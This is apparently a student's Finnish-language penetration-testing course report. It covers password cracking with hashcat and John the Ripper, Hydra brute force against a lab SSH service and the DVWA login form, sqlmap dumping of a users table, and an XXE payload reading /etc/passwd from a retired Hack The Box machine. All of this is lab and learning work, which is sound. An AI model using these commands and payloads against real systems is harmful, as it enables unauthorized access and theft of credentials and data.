pentest

View on GitHub

Home | Start | H1 | H2 | Lunch | H3 | 🐍🥣🦈 | H4 | 4real | H5 | MI6 | H6 | se7en | H7 | End | Dev doc | + |

H6: Hunter2

Tehtävänanto: https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/#h6-hunter2

Sisällysluettelo

z) Tiivistä: The Art of Hacking: Hacking User Credentials

JtR:

john # Näyttää JtR version ja optiot
john salasanalista.txt # aloittaa kräkkäyksen
john --show --format=nt salasanalista.txt # näyttää nt-formaattia olevat kräkätyt pwt  
john --rules --wordlist=/usr/share/john/password.lst --format=lm salasanalista.txt

Hashcat

https://learning.oreilly.com/videos/the-art-of/9780135767849/9780135767849-SPTT_06_06/

# LM pw kräkking, NT flägillä -m 1000 
hashcat --potfile-path cracked.pot -m 3000 pw_hashes.txt -a 3 
# --show flägi näyttää kräkätyt pwt, --username kenelle pw kuuluu

PW:den parantaminen

Hacking DBs

(Ei ollut enää tehtävän scopessa mutta tuli vahingossa tehtyä)

Basics MySQL

mysql --host=localhost --user=root --password=lab
# sisällä kannassa
SELECT @@version
show tables;
desc tbl_users;
SELECT username FROM tbl_users;
SELECT password FROM tbl_users;
SELECT credit_card FROM tbl_users;
UPDATE tbl_users SET credit_card = 'null' WHERE id = 1;
SELECT credit_card FROM tbl_users;

Attacing DBs

Nmap

## skannataan db
nmap -p 3306 --script="mysql-info" 127.0.0.1 
## palauttaa kannan käyttäjänimiä
nmap -p 3306 --script="mysql-enum" 127.0.0.1
## brute force attack
nmap -p 3306 --script="mysql-brute" 127.0.0.1

Manual SQL injection

## probing bd 
sqlmap -u localhost?view=id2 
## id is vulnerable 
## Yrittää löytää db:t 
sqlmap -u localhost?view=id2 --dbs
## Kokeilee löydää taulut dbstä 
sqlmap -u localhost?view=id2 --tables 
# 
sqlmap -u localhost?view=id2 --columns -T tbl_users 
# 
sqlmap -u localhost?view=id2 --dump -T tbl_users 

Automated Scanners

Defendin DBs

z) Tiivistä: HtB eläköitynyt esimerkki BountyHunter

https://0xdf.gitlab.io/2021/11/20/htb-bountyhunter.html

Valitaan esimerkiksi ensimmäinen https://0xdf.gitlab.io/ kone jonka base points on “Easy”. Lisäksi siitä löytyy IppSec:n esimerkkiratkaisuvideo https://www.youtube.com/watch?v=5axsDhumfhU. Lisäksi se on verkkosivu jolle murtautuminen on aina mielenkiintoista (että osaisi siltä suojautua).

Recon

# Skannaa kaikki portit osoitteesta 10.10.11.100 10000pakettia/s ja tallenna tiedostoon nmap-alltcp 
nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.100
# Skannausraportti
Nmap scan report for 10.10.11.100
Host is up (0.12s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
# Skannaa portit 22 ja 80 versioden tunnistuksella ja default safe skripteillä 
nmap -p 22,80 -sCV -oA scans/nmap-tcpscripts 10.10.11.100
# Porttiraportti
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Sen jälkeen selailee manuaalisesti sivua ja menee osoitteeseen /log_submit.php, jonka jälkeen käyttää Feroxbusteria php-sivua vastaan. FB:tä käytetään Forced Browsingiin.

# Forced browse tässä osoitteessa oleva php-sivu
feroxbuster -u http://10.10.11.100 -x php
# Tuloksissa näkyy db.php
200        0l        0w        0c http://10.10.11.100/db.php

Response headers vahvistaa että Apache-versio on minkä nmap raportoi. Post request minkä bounty report lähettää:

POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 227
Origin: http://10.10.11.100
DNT: 1
Connection: close
Referer: http://10.10.11.100/log_submit.php

data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5UaXRsZTwvdGl0bGU%2BCgkJPGN3ZT5DV0U8L2N3ZT4KCQk8Y3Zzcz45Ljg8L2N2c3M%2BCgkJPHJld2FyZD4xLDAwMCwwMDA8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D

Päättelee että base64-koodattua ja url-koodattua, = muuttuu %3d. Käyttää Burb Decoderia, decode as url ja sitten base64. Tulos on XML:ää.

XML External Entities attack

Jos sivu ei käsittele oikein XML inputtia, hyökkääjä voi syöttää lukea ja muokata dataa. Server-Side Request Forgeries (SSRF) on tekniikan edistyneempää käyttöä, yksinkertaisessa XXE:ssä tiedostojen lukeminen.

Esimerkki

The first line is very similar to what is sent in the POST for BountyHunter, and the last line is the XML data itself. The middle lines are defining an entity which includes the variable &file which is the contents of the /etc/passwd file. This allows the user to send in the contents of files they can’t read as input, and if that input is displayed back, then the exploit allows for file read.

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

POC on BountyHunter

Tärkeää noudattaa alkuperäisen datan rakennetta:

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT bar ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>CWE</cwe>
		<cvss>9.8</cvss>
		<reward>1,000,000</reward>
		</bugreport>

The DOCTYPE name (foo) and the ELEMENT name (bar) are not important. It’s the entity that’s defined, in this case, xxe, which will be the contents of /etc/passwd that matters. I’ll reference that value later with the variable name proceeded by & and ending with ;. I’ll throw that into a file and base64 encode it (-w0 to prevent line wrapping):

base64 -w0 xxe-passwd
# generoi salasanan base64 koodauksella

…tbcontinued https://0xdf.gitlab.io/2021/11/20/htb-bountyhunter.html#xxe-file-read

a) Kolme tiivistettä

Tee 3 tiivistettä eri ohjelmilla ja arvaa ne hashcatilla. Tiivistä jokin oma sana, ei sanaa ‘hashcat’. Voit käyttää tässä demossa itse tehtyä sanakirjaa, jossa on oikea ratkaisu muutaman väärän joukossa. Kuvaile myös, miten teit tiivisteet.

Seurataan ohjeita: https://miloserdov.org/?p=1272.

Valmiit ohjelmat

Linuxeissa on valmiina ohjelmia tiivisteiden laskemiseksi:

Ohjelmat toimivat kaikki samalla tavalla, niille annetaan tiedosto tai merkkijono joka tiivistetään. Jos käyttää echo-komentoa, täytyy käyttää -n flägiä tai printf-komennon kanssa '%s' jotka estävät rivittämisen. Googletetaan ja luetaan muista lähteistä mitkä ovat suosituimpia tiivisteitä, top 3 2011 https://www.sciencedirect.com/topics/computer-science/hashing-algorithm:

- MD5, laajasti käytetty mutta jo tuolloin pidetty haavoittuvana
- SHA-1, alkoi korvata MD5:sta haavoittuvuuden jälkeen
- SHA-2, kokoelma tiivistealgoritmeja (SHA-224, SHA-256, SHA-384, SHA-512) mutta ei vielä laajasti käytössä 

Ja kymmenen vuotta myöhemmin käytetyimmät algoritmit datan integriteetin tarkastamiseen 2021: https://www.2brightsparks.com/resources/articles/introduction-to-hashing-and-its-uses.html

- MD5, edelleen laajasti käytössä
- SHA-2, nyt jo laajasti käytetty, NSA:n kehittämä, sisältää kuusi tiivistefunktiota:
	- SHA-224, SHA-256, SHA-384, SHA-512, SHA-512/224, SHA-512/256
- CRC32, Cyclic Redundancy Check, virheentunnistuskoodi datan muutoksille. Tuottaa aina saman tiivisteen. Käytetty harvoin muualla kuin ZIP-tiedostoissa ja FTP-palvelimilla nykyisin. 

Pitäisi olla sama komento kaikille, kokeillaan.

# MD5 tiiviste merkkijonolle "salasana" tiivisteet.txt tiedostoon
└─$ echo -n 'salasana' | md5sum > tiivisteet.txt
# lisää sha-1 tiiviste tiedostoon
└─$ echo -n 'salasana' | sha1sum >> tiivisteet.txt
# lisää sha-2 tiiviste tiedostoon 
└─$ echo -n 'salasana' | sha224sum >> tiivisteet.txt
# tulostetaan tehty tiedosto:
└─$ cat tiivisteet.txt                            
e7e941b1f09f266540c6780db51d5f58  -
c7e6477ecef29604380f3185e205c3cc4ef565f3  -
9ec2d00f9460188a89c5392b3104c1b3c6958456934822cc7968ba92  -

Katsotaan tämän jälkeen ohjelmia jotka laskevat useampia tiivisteitä kerralla ja muuta.

Omnihash, legit hash?

# alustus
sudo apt-get update
sudo apt install pip
# asennetaan omnihash
sudo pip install omnihash[sha3,pyblake2]
# luodaan tiiviste "salasana":sta 
sudo omnihash salasana
# omnihashin luomat tiivisteet
  BLAKE2B:               46bd62fc256e709a6a673956e2b5c6baf33d99c74b668a49e1c20e5c4753648fd99b9e8bc81cea35103572f276487ac4dd0e484909507ba9a0ec053cbffbd995
  BLAKE2S:               c6bff1de63d2be14a07f4897a7d8ba145bdb73542b1daac2095480067713d2e1
  MD4:                   761870a6cc88f886222864497d326ae1
  MD5:                   e7e941b1f09f266540c6780db51d5f58
  MD5-SHA1:              e7e941b1f09f266540c6780db51d5f58c7e6477ecef29604380f3185e205c3cc4ef565f3
  RIPEMD160:             0d758bf91634037876d7c0d0c759c0b8c3aca1d4
  SHA1:                  c7e6477ecef29604380f3185e205c3cc4ef565f3
  SHA224:                9ec2d00f9460188a89c5392b3104c1b3c6958456934822cc7968ba92
  SHA256:                075a421a01fe4984b4ade4a89afec861f9a435f54b5bced6d0a0e5a8792e521c
  SHA384:                2730285e027c93234b4560c00e6e0a5d1404dadbd1bf4d785e21b766f4904879bf6e758377b7340eb2b55709f7562ac4
  SHA3_224:              97651e46f41cd416a2d853365907c8e0c1d8d6a25e115110c2f3784e
  SHA3_256:              4ec6970d138c1ce74ab481781caef28f88e3edd346205e890dd2c806b0255910
  SHA3_384:              5e63e391dfbab832198bb34d58f0d78828e20ff3c04d25764db340483cabe38662041b5cc804c72ce682d52f765bac70
  SHA3_512:              7014af3107a9fc7eeead0632d7a861883748432b160670264833504313416f34fd5a401c53ee33f8cf0a75dc223dbebb8d72c1b9957da04fe3ceecaeb7b1a262
  SHA512:                0e8e646b38387254e1f677d4df3ca290b03318440b87f4d45d67fe7b7c76a6316cf616fb155a61bb489c8eae829b837ae460421c31c450bddc02daee1ee3d609
  SHA512_224:            b2abd31ea1bc1a2800bd4eee4dc2e9322837ca4aa985bcfbf2fc4b6f
  SHA512_256:            9fcf553a33a926588ef9111d6a1cb71eb5dac0b0738d50ca4e29ad1c02518f9c

Asennuksen jälkeen huomataan että kaverin omnihash-ohjelmaa ei löydy: https://www.kali.org/tools/ vaan: https://en.kali.tools/all/?tool=947 joten poistetaan ohjelma sudo pip uninstall omnihash[sha3,pyblake2] ja asennetaan ohjeen seuraavat kolme ohjelmaa jotka löytyvät virallisesta Kalin dokumentaatiosta.

Hashdeep

# asennetaan hashdeep
sudo apt install hashdeep
# tulostetaan salasana kryptattuna luetelluilla hasheilla pilkuilla eroteltuna
└─$ echo -n 'salasana' | hashdeep -c md5,sha1,sha256,tiger,whirlpool
%%%% HASHDEEP-1.0
%%%% size,md5,sha1,sha256,tiger,whirlpool,filename
## Invoked from: /home/kali/hash/hashdeep
## $ hashdeep -c md5,sha1,sha256,tiger,whirlpool
## 
8,e7e941b1f09f266540c6780db51d5f58,c7e6477ecef29604380f3185e205c3cc4ef565f3,075a421a01fe4984b4ade4a89afec861f9a435f54b5bced6d0a0e5a8792e521c,c02400add3bdb980d35c6fb8c810721e0ce674f7d59b6cc1,4558bf30fdf770acbb9b8fc2249e129cd2dc9b4d58970668c9662cc798481cc0a046dec601025154817e6aaa4c82e1c51a6fe5f09d2a68d81f37ab3a378d1e72,stdin

Hasher hashes hash?

Hasher on jälleen dokumentaation kirjoittajan ohjelma kuten Omnihash, eikä se toimi esimerkkikomennolla, joten poistetaan se.

└─$ hashes -G --plaintext 'test' --hash-type md5                                                              130 ⨯
Traceback (most recent call last):
  File "/usr/local/bin/hashes", line 5, in <module>
    from hashes.__main__ import main
  File "/usr/local/lib/python3.9/dist-packages/hashes/__main__.py", line 8, in <module>
    from hashes.common import helpers
  File "/usr/local/lib/python3.9/dist-packages/hashes/common/helpers.py", line 29
    print "#" * 80          ^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("#" * 80)?
└─$ sudo pip uninstall hashes -y

Hashrat

Syvällisin kuvaus dokumentaatiossa on Hashratin käytöstä. Hashrat kuulostaa myös siltä että sillä voisi olla tekemistä Hashcatin kanssa.

hashrat # avaa stdin
salasana # kaksi kertaa ctrl + d ettei uutta riviä
# lopputulos, tiiviste salasanan perässä
└─$ hashrat                
salasanae7e941b1f09f266540c6780db51d5f58 
# verrataan lopputulosta aiempiin md5 generoituihin hasheihin, ja todetaan että sama tulos
└─$ echo -n 'salasana' | md5sum                 
e7e941b1f09f266540c6780db51d5f58  -

Hashcat - tiivisteiden purkaminen

Kokeillaan ensin tunnistaa hashcatilla tiivisteet.txt:n tiivistealgoritmit:

└─$ hashid -m tiivisteet.txt 
--File 'tiivisteet.txt'--
Analyzing 'e7e941b1f09f266540c6780db51d5f58  -'
[+] Unknown hash
Analyzing 'c7e6477ecef29604380f3185e205c3cc4ef565f3  -'
[+] Unknown hash
Analyzing '9ec2d00f9460188a89c5392b3104c1b3c6958456934822cc7968ba92  -'
[+] Unknown hash
--End of file 'tiivisteet.txt'--   

Selvästi tiedostossa on jotain pielessä - rivipääte -. Poistetaan rivipäätteet, etsitään ohjeet sen tehokkasti tekemiseksi jos kyseessä olisi isompi tiedosto: https://www.cyberciti.biz/faq/sed-remove-last-character-from-each-line/. Ratkaisu on käyttää Stream Editoria (sed).

# poistetaan viimeinen kirjain tiivisteet.txt:stä
└─$ sed 's/.$//' tiivisteet.txt > tiivisteet2.txt
# käsittääkseni tämä olisi riittänyt
# -i flägi in-place 
# s/ https://www.gnu.org/software/sed/manual/html_node/The-_0022s_0022-Command.html 
# The empty regular expression ‘//’ repeats the last regular expression match (the same holds if the empty regular
# expression is passed to the s command). Note that modifiers to regular expressions are evaluated when the regular
# expression is compiled, thus it is invalid to specify them together with the empty regular expression. 
└─$ sed -i 's/.$//' tiivisteet.txt
# tulostetaan muokattu tiivisteet.txt
└─$ cat tiivisteet.txt
e7e941b1f09f266540c6780db51d5f58  
c7e6477ecef29604380f3185e205c3cc4ef565f3  
9ec2d00f9460188a89c5392b3104c1b3c6958456934822cc7968ba92  

Joka tapauksessa, nyt kaksi oikein rivitettyä tiiviste-tiedostoa. Kokeillaan Hashcatia uudestaan.

└─$ hashid -m tiivisteet.txt                     
--File 'tiivisteet.txt'--
Analyzing 'e7e941b1f09f266540c6780db51d5f58'
[+] MD2 
[+] MD5 [Hashcat Mode: 0]
[+] MD4 [Hashcat Mode: 900]
[+] Double MD5 [Hashcat Mode: 2600]
[+] LM [Hashcat Mode: 3000]
[+] RIPEMD-128 
[+] Haval-128 
[+] Tiger-128 
[+] Skein-256(128) 
[+] Skein-512(128) 
[+] Lotus Notes/Domino 5 [Hashcat Mode: 8600]
[+] Skype [Hashcat Mode: 23]
[+] Snefru-128 
[+] NTLM [Hashcat Mode: 1000]
[+] Domain Cached Credentials [Hashcat Mode: 1100]
[+] Domain Cached Credentials 2 [Hashcat Mode: 2100]
[+] DNSSEC(NSEC3) [Hashcat Mode: 8300]
[+] RAdmin v2.x [Hashcat Mode: 9900]
Analyzing 'c7e6477ecef29604380f3185e205c3cc4ef565f3'
[+] SHA-1 [Hashcat Mode: 100]
[+] Double SHA-1 [Hashcat Mode: 4500]
[+] RIPEMD-160 [Hashcat Mode: 6000]
[+] Haval-160 
[+] Tiger-160 
[+] HAS-160 
[+] LinkedIn [Hashcat Mode: 190]
[+] Skein-256(160) 
[+] Skein-512(160) 
Analyzing '9ec2d00f9460188a89c5392b3104c1b3c6958456934822cc7968ba92'
[+] SHA-224 
[+] Haval-224 
[+] SHA3-224 
[+] Skein-256(224) 
[+] Skein-512(224) 
--End of file 'tiivisteet.txt'--    

Ehkä hieman yllättävästi MD5, ns. helpoin algoritmi oli vasta toinen ehdotus, sen sijaan sha-1 ja -2 olivat ensimmäiset ehdotukset. MD2:lle ei tosin ole omaa modea, hmm, ehkä se sisältyy MD5:seen.

Luetaan sitten Hashcat manuskaa ja mietitään missä muodossa hyökkäys tehdään salasanoja vastaan.

man hascat 
# Hyökkäystavat: 
Attack mode
       0 = Straight
       1 = Combination
       3 = Brute-force
       6 = Hybrid Wordlist + Mask
       7 = Hybrid Mask + Wordlist
# Tiivistetyypit:
Hash types
       0 = MD5
       10 = md5($pass.$salt)
			... lisää
       100 = SHA1
       110 = sha1($pass.$salt)
			... lisää
# ... mutta SHA224:sta ei tunnu löytyvän hashcat manista, googletetaan: https://hashcat.net/forum/thread-5747.html 
└─$ hashcat --help | egrep -i 'sha.*22'             
   1300 | SHA2-224                                         | Raw Hash
  17300 | SHA3-224                                         | Raw Hash

Valitaan hyökkäystyypiksi 0 eli Straight eli sanakirjahyökkäys (seuraavaksi pitää luoda sanakirja) ja tyypiksi tietty tiivisteen mukaan joku kolmesta, 0 eli MD5, 100 eli SHA1 tai 1300 eli SHA2-224.

# lisätään selkoteksti.txt tiedostoon lisää sanoja oikean salasanan kaveriksi
└─$ cat >> selkoteksti.txt
salasana2
salaisuus
admin
passu
password
root
nevehööd       
# tiiviste md5 hyökkäystyyppi sanakirja 
hashcat -m 0 -a 0 'e7e941b1f09f266540c6780db51d5f58' selkoteksti.txt
# tulokset
e7e941b1f09f266540c6780db51d5f58:salasana        
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: MD5
Hash.Target......: e7e941b1f09f266540c6780db51d5f58
Time.Started.....: Sat Dec  4 08:19:00 2021 (0 secs)
Time.Estimated...: Sat Dec  4 08:19:00 2021 (0 secs)
Guess.Base.......: File (selkoteksti.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       58 H/s (0.01ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 8/8 (100.00%)
Rejected.........: 0/8 (0.00%)
Restore.Point....: 0/8 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: salasana -> nevehööd

Started: Sat Dec  4 08:18:59 2021
Stopped: Sat Dec  4 08:19:02 2021

Sama lopuille, ajan ja tilan säästämiseksi pelkät komennot:

# hashcat -m tiivistetyyppi, -a hyökkäystapa, 'tiiviste', sanakirja
hashcat -m 100 -a 0 'c7e6477ecef29604380f3185e205c3cc4ef565f3' selkoteksti.txt
# tulos
c7e6477ecef29604380f3185e205c3cc4ef565f3:salasana
# samma på SHA-224:lle
hashcat -m 1300 -a 0 '9ec2d00f9460188a89c5392b3104c1b3c6958456934822cc7968ba92' selkoteksti.txt
# tulokset
9ec2d00f9460188a89c5392b3104c1b3c6958456934822cc7968ba92:salasana

Vielä todoksi syssymmälle jää tunnilla testattu suolatun tiivisteen murtaminen, mikä ei silloin vielä toiminut. Todennäköisesti tiivistetyyppi oli vain väärä ja olisi pitänyt antaa tiivistetyypin lisäksi salt.

b) Hydra vs SSH

Kokeile Hydraa ssh:ta vastaan.

Avataan Hydran dokumentaatio: https://www.kali.org/tools/hydra/. Käynnistetään Metasploitable2 maaliksi samaan verkkoon.

ping 8.8.8.8
ping 192.168.233.3 
cat /usr/share/wordlists/metasploit/unix_passwords.txt | less
man hydra
# default -t tasks/threads on 16 joten ei käytetä esimerkin 6:tta 
# ajetaan hyökkäys metasploitablea vastaan osoitteessa 192.168.233.3
# yritetään logata roottina sisään ssh:lla, sanakirjana unix_passwords.txt 
└─$ hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.168.233.3 
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-04 08:56:21
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1009 login tries (l:1/p:1009), ~64 tries per task
[DATA] attacking ssh://192.168.233.3:22/
1 of 1 target completed, 0 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-04 08:56:29
# eka yritys ei edes käynnisty,
# olisi pitänyt kuitenkin rajoittaa taskeja vissiin, 
# kokeillaan esimerkin kuutta taskia -t 6 flägillä 
└─$ hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.168.233.3 -t 6             
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-04 08:57:52
[DATA] max 6 tasks per 1 server, overall 6 tasks, 1009 login tries (l:1/p:1009), ~169 tries per task
[DATA] attacking ssh://192.168.233.3:22/
[STATUS] 78.00 tries/min, 78 tries in 00:01h, 931 to do in 00:12h, 6 active
[STATUS] 50.33 tries/min, 151 tries in 00:03h, 858 to do in 00:18h, 6 active
[STATUS] 52.29 tries/min, 366 tries in 00:07h, 643 to do in 00:13h, 6 active
[STATUS] 51.50 tries/min, 618 tries in 00:12h, 391 to do in 00:08h, 6 active
[STATUS] 49.71 tries/min, 845 tries in 00:17h, 164 to do in 00:04h, 6 active
1 of 1 target completed, 0 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-04 09:17:57

Ei onnistunut. No kokeillaan hydraa omalla salasanalistalla koska tiedetään msfadmin - msfadmin käyttäjä - salasana tunnistetiedot. Kokeilun jälkeen tosin tajutaan että se ei ole ssh-käyttäjätunnus. Luetaan lisää ohjeita: https://charlesreid1.com/wiki/Metasploitable/SSH/Brute_Force. Kokeillaan helppoa ratkaisua, aiemmin on tallennettuna JtR:n jäljiltä erilaisia ssh-tunnistetietoja, katsellaan niitä ja käytetään niitä.

# käytetään samaa tiedostoa käyttäjä ja salasanatiedostona
hydra -L targets -P targets ssh://192.168.233.3 -t 4   
# tämäkään ei mene läpi, katsotaan että ssh toimii
ssh sys@192.168.233.3 # pw: sys
# käyttäjätunnus ei ole oikea salasana

Noh, ainakin Hydraa on nyt kokeiltu SSH:ta vastaan, vaikkei sisään onnistuneesti päästykään.

c) Kokeile salasanoja

Kokeile salasanoja omaan weppilomakkeeseen. ??? Varmaankin kokeile salasanahyökkäyksiä omaan weppilomakkeeseen.

Juice Shop olisi toisessa Kalissa asennettuna, mutta Metasploitablella on myös oma lomake, DVWA login sivu, jonka tunnarit on admin - password. Kokeillaan Hydraa tai Ffuf:ia sitä vastaan. Katsotaan ohjeita Hydra vs verkkolomake https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-online-web-form-passwords-with-thc-hydra-burp-suite-0160643/.

Haetaan lomakkeen parametrit:

- IP
- URL
- lomaketyyppi
- käyttäjätunnuskenttä
- salasanakenttä
- failure msg 

Avataan ZAP. Tehdään yksi kirjautuminen käyttäjä - addd tunnistetiedoilla, saadaan tarvittavat parametrit ZAP:ssa:

POST http://192.168.233.3/dvwa/login.php HTTP/1.1 
Referer: http://192.168.233.3/dvwa/login.php
username=k%C3%A4ytt%C3%A4j%C3%A4&password=addd&Login=Login

zap parametrit.PNG

Ja sivulla “Login failed” failure msg.

failure msg.PNG

Lomakkeita vastaan Hydra-hyökkäys pitää määritellä näin:

# muuten tuttua edellisestä harjoituksesta mutta lomakeparametrit ja failure msg ovat uutta
hydra -L <username list> -p <password list> <IP Address> <form parameters><failed login message>
# muotoillaan esimerkin pohjalta, kokeillaan simppelisti pelkkää admin tunnusta vastaan jotain oikeaa listaa
# etsitään slslistoja
locate wordlist 
# valitaan pieni, katsotaan monta slsanaa
└─$ wc -l /usr/share/dirb/wordlists/small.txt                                                 
959 /usr/share/dirb/wordlists/small.txt
# varmistetaan että 'password' mukana, näytä rivinro miltä löytyy (ei ole ihan ensimmäisten joukossa)
└─$ grep -w password -n /usr/share/dirb/wordlists/small.txt                                                     2 ⨯
608:password
# pieni -l flägi merkitsemään yksittäistä tunnusta, käytetään pientä salasanalistaa, -V verboosiksi tulosteeksi
hydra -l admin -P /usr/share/dirb/wordlists/small.txt 192.168.233.3 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"
...
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-04 11:15:06
[DATA] max 16 tasks per 1 server, overall 16 tasks, 959 login tries (l:1/p:959), ~60 tries per task
[DATA] attacking http-post-form://192.168.233.3:80/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed
[80][http-post-form] host: 192.168.233.3   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-04 11:15:45

Odotellaan, tässä saattaa mennä tovi. Mutta hydra onkin yllättävän nopea lomaketta vastaan, alle minuutissa kräkätty. SSH:ta vastaan meno oli paljon hitaampaa.

d) Tee oma salasanalista

Tee oma sanalista itse tekemästäsi ja keksimästäsi weppisivusta.

Luetaan mistä Cewlissä eli Custom Word List generatorissa on kyse: https://kalitut.com/cewl-custom-word-list-generator/. CeWL käy siis läpi annetun urlin annetun syvyyden laajuisesti ja palauttaa sanalistan jota voi käyttää salasanakräkkereissä kuten JtR ja Hydra.

Kokeillaan tätä Juice Shoppiin:

# Käynnistetään edellisviikolla haettu Juice Shop
cd juice-shop
npm start
firefox 'localhost:3000'
# Ajetaan CeWL sitä vastaan
└─$ cewl -w juicelist -m 3 -d 1 http://localhost:3000/
CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
# listataan tulokset 
└─$ cat juicelist       
the
OWASP
Juice
Shop
Copyright
Bjoern
Kimminich
contributors
SPDX
License
Identifier
MIT
Probably
most
modern
and
sophisticated
insecure
web
application
# Ei pidetä tuloksia kummoisina, tehdään sama uudestaan mutta lisätään syvyyttä flägillä -d 3
# mutta tulokset ovat samat

e) Murra zip-paketin salasanasuojaus

mkdir niko 
cd niko
cat niko.txt 
niko niko niko
cd ..
zip --encrypt -r niko.zip niko/ 
└─$ unzip niko.zip
Archive:  niko.zip
[niko.zip] niko/niko.txt password: 
# kräkätään salasana, tai yritetään
# 1) yritys tehdä sls-suojattu zip jossa ei sisältöä, joka aukeaa pwstä huolimatta unzipillä ilman pw:t
# 2) toka yritys sls-suojattu zip jossa tiedosto, mutta sitä ei suojattu

Katsotaan ohjeet https://secnhack.in/crack-zip-files-password-using-john-the-ripper/ ja toteutetaan:

# luodaan zippi.zip pw:llä qwerty123 ja laitetaan sinne niko/niko.txt
└─$ zip --password qwerty123 zippi.zip niko/niko.txt
# haetaan zippi.zipin salasanatiiviste zippi-hashes tiedostoon zip2johnilla
└─$ zip2john zippi.zip > zippi.hashes      
# tarkastetaan tiedostosisältö 
└─$ cat zippi.hashes 
zippi.zip/niko/niko.txt:$pkzip2$1*2*2*0*16*f*81567ab2*0*47*8*16*8156*5e9d*ff3b29c3d3de79a7ae5f15f279fa9050593d4fd73e55*$/pkzip2$:niko/niko.txt:zippi.zip::zippi.zip
# ajetaan john tätä tiivistetiedostoa zippi.hashes vastaan
└─$ john zippi.hashes                     
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:00:49  3/3 0g/s 9169Kp/s 9169Kc/s 9169KC/s typ0h0..tym3xl
Session aborted
# muistetaan aiemmista harjoituksista että JtR hyökkää kolmella moodilla default komennolla john
# 1) käyttää käyttäjätunnusta salasanana
# 2) käyttää omaa slslistaa
# 3) rupeaa brute forcettaan kaikilla maailman merkkiyhdistelmillä,
# missä vaiheessa pysäytetään prosessi
# luodaan oma "sanalista" (yhdellä sanalla)
└─$ cat > wordlistzip.txt                                                                                       1 ⨯
qwerty123
# ja ajetaan tällä listalla johnia zippi.hashesia vastaan
└─$ john --wordlist=wordlistzip.txt zippi.hashes 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 2 needed for performance.
